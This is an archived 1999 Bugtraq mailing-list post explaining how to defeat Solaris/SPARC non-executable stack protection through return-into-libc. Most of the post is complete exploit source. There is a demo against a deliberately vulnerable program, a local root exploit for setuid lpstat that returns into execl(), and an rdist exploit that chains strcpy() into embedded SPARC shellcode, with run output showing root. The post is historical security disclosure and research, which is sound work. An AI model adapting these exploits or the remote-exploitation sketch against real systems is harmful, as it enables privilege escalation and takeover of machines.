[9809] in bugtraq

home help back first fref pref prev next nref lref last post

Defeating Solaris/SPARC Non-Executable Stack Protection

daemon@ATHENA.MIT.EDU (John McDonald)
Wed Mar 3 11:14:14 1999

Date: 	Wed, 3 Mar 1999 00:55:35 -0500
Reply-To: John McDonald <jmcdonal@UNF.EDU>
From: John McDonald <jmcdonal@UNF.EDU>
To: BUGTRAQ@NETSPACE.ORG

Hi,

I've recently been playing around with bypassing the non-executable sta=
ck
protection that Solaris 2.6 provides. I'm referring to the mechanism th=
at you
control with the noexec_user_stack option in /etc/system. I've found it=
's
quite possible to bypass this protection, using methods described previ=
ously
on this list. Specifically, I have had success in adapting the return i=
nto
libc methods introduced by Solar Designer and Nergal to Solaris/SPARC.

I've included some sample code in this email, including an exploit for =
rdist,
and an exploit for lpstat. These exploits should work on machines with =
the
stack protection enabled, though they may require some groundwork befor=
e being
used. Neither of these programs exploit a new bug, so the appropriate f=
ixes
for these holes should work fine.

First of all, I'd like to thank stranJer, Solar Designer, duke and the
various inhabitants of #!adm for reviewing this for me and providing a =
lot
of valuable input.

Ok.. it's important to have a general understanding of how the stack is
layed out under SPARC/Solaris. There are several good references on the=
 net
for this information, so I will try to keep this brief..

The stack frame looks roughly like this (to the best of my knowledge):

Stack inside the body of a function (after save)
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Higher addresses
----------------
%fp+92->any incoming args beyond 6  (possible)
%fp+68->room for us to store copies of the incoming arguments
%fp+64->pointer to where we can place our return value if necessary
%fp+32->saved %i0-%i7
%fp---->saved %l0-%l7
%fp---->(previous top of stack)
        *space for automatic variables*
        possible room for temporaries and padding for 8 byte alignment
%sp+92->possible room for outgoing parameters past 6
%sp+68->room for next function to store our outgoing arguments (6 words=
)
%sp+64->pointer to room for the return value of the next function
%sp+32->saved %o0-%o7 / room for next non-leaf function to save %i0-%i7
%sp---->room for next non-leaf function to save %l0-%l7
%sp---->(top of stack)
---------------
Lower addresses

So, from the top of the stack, looking up, we have room for the next fu=
nction
to save our %l and %i registers. A copy of the arguments given to us by=
 the
previous function (the %o0-o7 registers) are saved at %sp + 0x10. None =
of the
resources I've seen on the web document this, but inspection in gdb sho=
ws that
this is the case.

Next, there is a one word pointer to memory where a function we call ca=
n place
it's return value. Typically, we can expect the return value to be in %=
o0, but
it is possible for a function to return something that can't fit in a r=
egister
(such as a structure). In this case, we place the address of the memory=
 where
we want the return value to be placed into this location before calling=
 the
function. The return value is placed in that memory, and the address of=
 that
memory is also returned in %o0.

Next, we have 6 words reserved for the next function to be able to stor=
e the
arguments we pass to it through the registers. Some of the sites on the=
 web
indicate that this is necessary in case the called function needs to be=
 able
to take the address of one of it's incoming parameters (you can't take =
the
address of a register).

Next on the stack, there is temporary storage and padding for alignment=
. The
stack pointer has to be aligned on an 8 byte boundary. Our automatic va=
riables
are saved on the stack next. From within this function, we can address =
the
automatic variables relative to %fp (%fp - something).

If we perform an overflow of an automatic variable, we are going to ove=
rwrite
the saved %i and %l values of the function that called the function wit=
h
the automatic variable. When the function with the automatic variable r=
eturns,
it will return into the caller, because it has the return address store=
d in
it's %i7 register. Then, the restore instruction will move the contents=
 of the
%i registers into the %o registers. Our bogus values for %l and %i will=
 then
be read from the stack into the registers. On the next return from a fu=
nction,
the program will return into the address we put at %i7's place on the s=
tack
frame. This explains why you need two returns to perform a classic buff=
er
overflow.

Moving on.. In this email, I'm presenting three different variations on=
 the
return into libc method. The first one I demonstrate with a 'fake' bug.=
 This
is our vulnerable program:

---hole.c---
int jim(char *str)
{
   char buf[256];
   strcpy(buf,str);
}

int main(int argc, char **argv)
{
   jim(argv[1]);
}
------------

hole.c is an extremely simple program with an obvious stack buffer over=
flow.

If we wrote a typical program to exploit this, it would follow this flo=
w:

1. The program would proceed to the strcpy..
2. The strcpy will overwrite the saved %i and %l registers in main's st=
ack
   frame.
3. The jim function will do a restore, and increment the CWP. This will=
 result
   in our overflowed values being put into the %i and %l registers. It =
will
   'ret' into main.
4. The main function will then do a ret/restore. The ret instruction wi=
ll read
   our provided %i7, and transfer the flow of control to it. The CWP wi=
ll again
   be incremented, And our bogus %i registers will become the %o regist=
ers.

A typical exploit would return into shellcode on the stack at this poin=
t,
which would do it's thing with basically no regard for what is in the
registers. However, with the stack protections in place, this behavior =
will
cause the processor to fault upon attempting to execute code on a page =
where
it is not permitted.

To get around this, we wish to have our program return into a libc call=
. For
this exploit, I've chosen system(). system() is easy because it only ta=
kes one
argument. When we enter the code for system(), we expect it's arguments=
 to be
in %o0-%o7. Then, the system function will do the save instruction, and=
 move
the arguments into the %i0-%i7 registers. Getting our arguments into sy=
stem()
in the %o0-%o7 registers is somewhat easy to accomplish. Remember that =
the
first ret/restore will pull our values off of the stack into the %l and=
 %i
registers. Thus, we can put any values we want into these registers whe=
n we
overflow the stack based variable. The second ret/restore will move wha=
ts in
the %i0-%i7 registers into the %o0-%o7 registers, and jump to what we h=
ad in
the %i7 register. So, we can put the address of system() in our saved %=
i7, and
the program's execution will resume there. So, when the program enters
system(), the first instruction it will execute is a 'save'. This will =
move
the values in %o0-%o7 back into %i0-%i7. Let's look at the exploit:

---exhole.c---
/*
   example return into libc exploit for fake vulnerability in './hole'
   by horizon <jmcdonal@unf.edu>

   to compile:

   gcc exhole.c -o exhole -lc -ldl
*/

#include <stdio.h>
#include <dlfcn.h>
#include <signal.h>
#include <setjmp.h>

int step;
jmp_buf env;

void fault()
{
   if (step<0)
      longjmp(env,1);
   else
   {
      printf("Couldn't find /bin/sh at a good place in libc.\n");
      exit(1);
   }
}

int main(int argc, char **argv)
{
   void *handle;
   long systemaddr;
   long shell;

   char examp[512];
   char *args[3];
   char *envs[1];

   long *lp;

   if (!(handle=3Ddlopen(NULL,RTLD_LAZY)))
   {
      fprintf(stderr,"Can't dlopen myself.\n");
      exit(1);
   }

   if ((systemaddr=3D(long)dlsym(handle,"system"))=3D=3DNULL)
   {
      fprintf(stderr,"Can't find system().\n");
      exit(1);
   }

   systemaddr-=3D8;

   if (!(systemaddr & 0xff) || !(systemaddr * 0xff00) ||
      !(systemaddr & 0xff0000) || !(systemaddr & 0xff000000))
   {
      fprintf(stderr,"the address of system() contains a '0'. sorry.\n"=
);
      exit(1);
   }

   printf("System found at %lx\n",systemaddr);

   /* let's search for /bin/sh in libc - from SD's original linux explo=
its */

   if (setjmp(env))
      step=3D1;
   else
      step=3D-1;

   shell=3Dsystemaddr;

   signal(SIGSEGV,fault);

   do
      while (memcmp((void *)shell, "/bin/sh", 8)) shell+=3Dstep;
   while (!(shell & 0xff) || !(shell & 0xff00) || !(shell & 0xff0000)
         || !(shell & 0xff000000));

   printf("/bin/sh found at %lx\n",shell);

   /* our buffer */
   memset(examp,'A',256);
   lp=3D(long *)&(examp[256]);

   /* junk */
   *lp++=3D0xdeadbe01;
   *lp++=3D0xdeadbe02;
   *lp++=3D0xdeadbe03;
   *lp++=3D0xdeadbe04;

   /* the saved %l registers */
   *lp++=3D0xdeadbe10;
   *lp++=3D0xdeadbe11;
   *lp++=3D0xdeadbe12;
   *lp++=3D0xdeadbe13;
   *lp++=3D0xdeadbe14;
   *lp++=3D0xdeadbe15;
   *lp++=3D0xdeadbe16;
   *lp++=3D0xdeadbe17;

   /* the saved %i registers */

   *lp++=3Dshell;
   *lp++=3D0xdeadbe11;
   *lp++=3D0xdeadbe12;
   *lp++=3D0xdeadbe13;
   *lp++=3D0xdeadbe14;
   *lp++=3D0xdeadbe15;

   *lp++=3D0xeffffbc8;

   /* the address of system  ( -8 )*/
   *lp++=3Dsystemaddr;

   *lp++=3D0x0;

   args[0]=3D"hole";
   args[1]=3Dexamp;
   args[2]=3DNULL;

   envs[0]=3DNULL;

   execve("./hole",args,envs);
}
--------------

As you can see, the layout of the stack past the buffer has been mapped=
. This
is easy to do using marker values and gdb. The first thing this exploit=
 does
is find the address of system() in libc. It does this using the dlopen(=
) and
dlsym() functions. If the exploit is linked exactly the same as the tar=
get
executable, then we will be able to predict where libc will be mapped i=
n the
target. The exploit then finds a copy of the string '/bin/sh' in libc. =
It does
this by searching through the memory around system(). This is almost th=
e exact
same code presented in Solar Designer's original return-into-libc explo=
it.

In this exploit, %i0 is set to the address of the string '/bin/sh' in l=
ibc.
%i6 (the frame pointer) is set to 0xeffffbc8. This is just a place in t=
he stack
that system() can use as it's stack. system() will look into the regist=
ers
for it's arguments, so we don't really care what is on the stack, as lo=
ng as
system() can safely write to it. %i7 (our return address) is set to the
address we found for system(). Note that this is actually the address w=
e wish
to go to minus 8, because the ret instruction will add 8 to the saved %=
fp.
(in order to skip the call instruction and it's delay slot).

So, does it work?

bash-2.02$ gcc exhole.c -o exhole -lc -ldl
bash-2.02$ ./exhole
System found at ef768a84
/bin/sh found at ef790378
$

yup. :>

As you might expect, things don't go quite so smoothly when we attempt =
this
technique in a live exploit. I have chosen lpstat as my next target.

The first problem you will run into is that the program will modify the=
 %i
registers after the first return. This happened in both the lpstat and =
rdist
exploits. This problem requires us to extend our technique to be more
powerful.

What I do in the lpstat exploit is create a fake stack frame in the env=
 space.
Then, I put it's address in our saved %fp. Then, instead of returning i=
nto the
system() function, I return into system()+4, bypassing the save instruc=
tion.

So, what does all this do? Well, our values get loaded into the %l0-l7 =
and
%i0-%i7 registers after the first ret/restore. The next ret/restore mov=
es
our values into %o0-%o7, and jumps to our saved %i7. This *also* loads =
in the
%i0-%i7 and %l0-%l7 registers from the stack. So, when we specify a sav=
ed %fp,
and we hit the second restore, the processor assumes our %fp was it's o=
ld %sp,
and loads the %l and %i registers from the stack frame at %fp. This mea=
ns
that we can specify what we want the %l and %i registers to contain upo=
n
entering wherever it is that we return into.

We skip the 'save' instruction, because that would move the %o0-%o7 bac=
k to the
%i0-%i7 registers, and overwrite our malicious values.

Having solved that, we stumble onto our second problem: the system() fu=
nction
uses /bin/sh -c to execute it's argument. Under Solaris, /bin/sh will d=
rop it's
privileges if it is run with a non-zero ruid, and an euid of zero.
The obvious solution to this is to try to do a setuid(0) before we run =
system.

So, we need to find a way to chain functions together.. i.e. to return =
into
one function, and have it return into another. It is important to note =
that
there are two kinds of functions: leaf and non-leaf functions. The leaf
functions do not use any stack space to do their work, and do not call =
any
other functions. Thus, they don't need to use the 'save' instruction to=
 set up
a stack frame. They operate using the registers in %o0-%o7 as their arg=
uments.
When a leaf function is done, it returns by jumping to the address it h=
as in
%o7. The non-leaf functions are ones that require a stack frame, and th=
ey use
the 'save', 'ret', and 'restore' instructions.

We can chain non-leaf functions together by making a fake stack frame f=
or
every function that we need to return into, and placing the address of =
the
next function into the %i7 position on the fake stack frame. This works
because we skip the save instruction, which allows us to keep feeding i=
n
fake stack frame information, and specfying the %i and %l registers for=
 each
function we enter.

However, there is a limitation of our return into libc method: We can't
return into a leaf function, unless it is the last function we return i=
nto.
A leaf function does not do a save or restore, it simply assumes it's
arguments are in the %o0-%o7 registers. It returns by doing a retl, whi=
ch
jumps to %o7. The problem is that if we return into a leaf function, th=
e
address of that leaf function will be in %o7. Thus, when the leaf funct=
ion
tries to return, it will jump back to itself, causing an infinite loop.=
 We
can't get a leaf function to return into another function because it do=
esn't
use the ret/restore sequence to return. Thus, even though we can contro=
l what
values are in the %i and %l registers, the leaf function will not use t=
hese
values for arguments or the return address.

So, for a solution here, we simply return into execl(). This takes very=
 similar
arguments to system, except that we need to have a NULL argument to ter=
minate
the list of arguments. This is easy to do since we are passing in our f=
ake
stack frame through the env space.

Here is the lpstat exploit:

---lpstatex.c---
/*
   lpstat exploit for Solaris 2.6 - horizon - <jmcdonal@unf.edu>

   This demonstrates the return into libc technique for bypassing stack
   execution protection. This requires some preliminary knowledge for u=
se.

   to compile:

   gcc lpstatex.c -o lpstatex -lprint -lc -lnsl -lsocket -ldl -lxfn -lm=
p -lC
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>

#define BUF_LENGTH 1024

int main(int argc, char *argv[])
{
   char buf[BUF_LENGTH * 2];
   char teststring[BUF_LENGTH * 2];
   char *env[10];
   char fakeframe[512];
   char padding[64];
   char platform[256];

   void *handle;
   long execl_addr;

   u_char *char_p;
   u_long *long_p;
   int i;
   int pad=3D31;

   if (argc=3D=3D2) pad+=3Datoi(argv[1]);

   if (!(handle=3Ddlopen(NULL,RTLD_LAZY)))
   {
      fprintf(stderr,"Can't dlopen myself.\n");
      exit(1);
   }

   if ((execl_addr=3D(long)dlsym(handle,"execl"))=3D=3DNULL)
   {
      fprintf(stderr,"Can't find execl().\n");
      exit(1);
   }

   execl_addr-=3D4;

   if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
      !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
   {
      fprintf(stderr,"the address of execl() contains a '0'. sorry.\n")=
;
      exit(1);
   }

   printf("found execl() at %lx\n",execl_addr);

   char_p=3Dbuf;

   memset(char_p,'A',BUF_LENGTH);

   long_p=3D(unsigned long *) (char_p+1024);

   *long_p++=3D0xdeadbeef;

   /* Here is the saved %i0-%i7 */

   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xeffffb68; // our fake stack frame
   *long_p++=3Dexecl_addr;      // we return into execl() in libc
   *long_p++=3D0;

   /* now we set up our fake stack frame in env */

   long_p=3D(long *)fakeframe;

   *long_p++=3D0xdeadbeef; // we don't care about locals
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;

   *long_p++=3D0xefffffac; // points to our string to exec
   *long_p++=3D0xefffffac; // argv[1] is a copy of argv[0]
   *long_p++=3D0x0;        // NULL for execl();
   *long_p++=3D0xefffffcc;
   *long_p++=3D0xeffffd18;
   *long_p++=3D0xeffffd18;
   *long_p++=3D0xeffffd18; // this just has to be somewhere it can work=
 with
   *long_p++=3D0x11111111; // doesn't matter b/c we exec
   *long_p++=3D0x0;

   /* This gives us some padding to play with */

   memset(teststring,'A',BUF_LENGTH);
   teststring[BUF_LENGTH]=3D0;

   sysinfo(SI_PLATFORM,platform,256);

   pad+=3D20-strlen(platform);

   for (i=3D0;i<pad;padding[i++]=3D'C')
      padding[i]=3D0;

   env[0]=3D"";
   env[1]=3D(fakeframe);
   env[2]=3D&(fakeframe[40]);
   env[3]=3D&(fakeframe[40]);
   env[4]=3D&(fakeframe[40]);
   env[5]=3D&(fakeframe[44]);
   env[6]=3Dteststring;
   env[7]=3D"A=3D/bin/id";
   env[8]=3Dpadding;
   env[9]=3DNULL;

   execle("/usr/bin/lpstat","lpstat","-c",buf,(char *)0,env);
   perror("execle failed");
}
----------------

Looking at this exploit, you can see how we build a fake stack frame in=
 env,
and have the program we are exploiting read it in. We return into execl=
(),
just past the 'save', and it uses the arguments we provide in %i0-%i7. =
Also,
note that we pass in the command we want to run through the environment=
, as
opposed to searching for it in libc.

Here's what it looks like:

bash-2.02$ gcc lpstatex.c -o lpstatex -lprint -lc -lnsl -lsocket -ldl -=
lxfn -lmp -lC
bash-2.02$ ./lpstatex
found execl() at ef6e93a4

UX:lpstat: ERROR: Class
...
(lpstat spews for a while)
...
                  =A4" does not exist.
          TO FIX: Use the "lpstat -c all" command to list
                  all known classes.
uid=3D120(jmcdonal) gid=3D15(develop) euid=3D0(root)
bash-2.02$

In the exploit, we ran /bin/id, which you see here. If you are so incli=
ned, you
can easily change it to run something like /tmp/aa, which will give you=
 the
appropriate permissions and exec a shell.

So, this works pretty well. However, we still have a big problem with o=
ur
technique: it is impossible to return into a leaf function before retur=
ning
into any other function. This unfortunately means we cant return into s=
etuid()
or seteuid() to restore our privileges before exec'ing something. There=
 are a
few options in overcoming this problem, but I have choosen a fairly sim=
ple
one...

We will return into a strcpy, which will copy our shellcode from the en=
v space,
into somewhere where it is safe to run it. We will then have that strcp=
y
return into our shellcode. This exploit is very similar to the previous=
 one,
with the exception that we are doing a second return.

Here is the exploit:
---rdistex.c---
/*
   rdist exploit for Solaris 2.6 - horizon - <jmcdonal@unf.edu>

   This demonstrates the return into libc technique for bypassing stack
   execution protection. This requires some preliminary knowledge for u=
se.

   to compile:

   gcc rdistex.c -o rdistex -lsocket -lnsl -lc -ldl -lmp
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>

u_char sparc_shellcode[] =3D
"\xAA\xAA\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08\xAA";

#define BUF_LENGTH 1024

int main(int argc, char *argv[])
{
   char buf[BUF_LENGTH * 2];
   char tempbuf[BUF_LENGTH * 2];
   char teststring[BUF_LENGTH * 2];
   char padding[128];
   char *env[10];
   char fakeframe[512];
   char platform[256];

   void *handle;
   long strcpy_addr;
   long dest_addr;

   u_char *char_p;
   u_long *long_p;
   int i;
   int pad=3D25;

   if (argc=3D=3D2) pad+=3Datoi(argv[1]);

   char_p=3Dbuf;

   if (!(handle=3Ddlopen(NULL,RTLD_LAZY)))
   {
      fprintf(stderr,"Can't dlopen myself.\n");
      exit(1);
   }

   if ((strcpy_addr=3D(long)dlsym(handle,"strcpy"))=3D=3DNULL)
   {
      fprintf(stderr,"Can't find strcpy().\n");
      exit(1);
   }

   strcpy_addr-=3D4;

   if (!(strcpy_addr & 0xff) || !(strcpy_addr * 0xff00) ||
      !(strcpy_addr & 0xff0000) || !(strcpy_addr & 0xff000000))
   {
      fprintf(stderr,"the address of strcpy() contains a '0'. sorry.\n"=
);
      exit(1);
   }

   printf("found strcpy() at %lx\n",strcpy_addr);

   if ((dest_addr=3D(long)dlsym(handle,"accept"))=3D=3DNULL)
   {
      fprintf(stderr,"Can't find accept().\n");
      exit(1);
   }

   dest_addr=3Ddest_addr & 0xffff0000;
   dest_addr+=3D0x1800c;

   if (!(dest_addr & 0xff) || !(dest_addr & 0xff00) ||
      !(dest_addr & 0xff0000) || !(dest_addr & 0xff000000))
   {
      fprintf(stderr,"the destination address contains a '0'. sorry.\n"=
);
      exit(1);
   }

   printf("found shellcode destination at %lx\n",dest_addr);

   /* hi sygma! */

   memset(char_p,'A',BUF_LENGTH);

   long_p=3D(unsigned long *) (char_p+1024);

   /* We don't care about the %l registers */

   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;

   /* Here is the saved %i0-%i7 */

   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xefffd378; // safe value for dereferencing
   *long_p++=3D0xefffd378; // safe value for dereferencing
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xeffffb78; // This is where our fake frame lives
   *long_p++=3Dstrcpy_addr; // We return into strcpy
   *long_p++=3D0;

   long_p=3D(long *)fakeframe;
   *long_p++=3D0xAAAAAAAA; // garbage
   *long_p++=3D0xdeadbeef; // %l0
   *long_p++=3D0xdeadbeef; // %l1
   *long_p++=3D0xdeadbeaf; // %l2
   *long_p++=3D0xdeadbeef; // %l3
   *long_p++=3D0xdeadbeaf; // %l4
   *long_p++=3D0xdeadbeef; // %l5
   *long_p++=3D0xdeadbeaf; // %l6
   *long_p++=3D0xdeadbeef; // %l7
   *long_p++=3Ddest_addr; // %i0 - our destination (i just picked somew=
here)
   *long_p++=3D0xeffffb18; // %i1 - our source
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xdeadbeef;
   *long_p++=3D0xeffffd18; // %fp - just has to be somewhere strcpy can=
 use
   *long_p++=3Ddest_addr-8; // %i7 - return into our shellcode
   *long_p++=3D0;

   sprintf(tempbuf,"blh=3D%s",buf);

   /* This gives us some padding to play with */

   memset(teststring,'B',BUF_LENGTH);
   teststring[BUF_LENGTH]=3D0;

   sysinfo(SI_PLATFORM,platform,256);

   pad+=3D21-strlen(platform);
   for (i=3D0;i<pad;padding[i++]=3D'A')
      padding[i]=3D0;

   env[0]=3Dsparc_shellcode;
   env[1]=3D&(fakeframe[2]);
   env[2]=3Dteststring;
   env[3]=3Dpadding;
   env[4]=3DNULL;

   execle("/usr/bin/rdist","rdist","-d",tempbuf,"-c","/tmp/","${blh}",
      (char *)0,env);
   perror("execl failed");
}
---------------

This technique seems to work well:

bash-2.02$ gcc rdistex.c -o rdistex -lsocket -lnsl -lc -ldl -lmp
bash-2.02$ ./rdistex
found strcpy() at ef62427c
found shellcode destination at ef7a800c
rdist: line 1: Pathname too long
...
rdist: line 1: Pathname too long
#

These exploits require a high degree of precision. I've tried to take o=
ut most
of the guesswork, but there are two things that might cause the exploit=
s to
fail. The lpstat and rdist exploits expect certain things to be in the
environment at exact locations. We use the execle function, specifying =
the
entire environment, so you wouldn't think this would be a problem. Howe=
ver,
Solaris 2.6 puts two things at the very top of the environment space:
the name of the program that is being run, and the platform of the mach=
ine.
I have attempted to take this into account in the two exploits, but hav=
e only
been able to test on two different platforms. Thus, you might need to a=
djust
the 'pad' variable if the exploits do not seem to be working. You can a=
djust
this value via the command line. It's probably best to try increments o=
f 4.

Also, there is a bit of a guess in the rdist exploit as to where to pla=
ce the
shellcode in libc. The exploit gets the address of a symbol in libsocke=
t, then
bitwise ands it with 0xffff0000 and then adds 0x1800c. The point of thi=
s is
to guess at where the section for libsocket's data will be mapped. If t=
his is
a problem, then you can use /usr/proc/bin/pmap along with gdb to figure=
 out a
good address to store the shellcode in.

Hopefully, these exploits demonstrate that it is important to make sure=
 that
programs that run at an elevated privilege are free of buffer overflow =
bugs.
The stack protection will certainly help protect you from the majority =
of
intruders, but moderately competent intruders will probably be able to =
bypass
it.

I believe that these techniques could be adopted for use in a remote ex=
ploit.
Assuming we go with the strcpy technique, the attacker would need to do
several things. First of all, the attacker would need to put the fake s=
tack
frame somewhere in the buffer that was overflowed. Then the attacker wo=
uld
have to make educated guesses at a few things. These would be: the loca=
tion
that strcpy() is mapped at, a safe location to store the shellcode, and=
 the
location of the fake stack frame. You could make pretty educated guesse=
s at all
of these, so it might only require a small number of tries. Of course, =
the
added time and interaction that this would involve certainly makes the =
stack
protection useful.

I welcome any comments or criticisms about this post.

Thanks,
horizon <jmcdonal@unf.edu>

home help back first fref pref prev next nref lref last post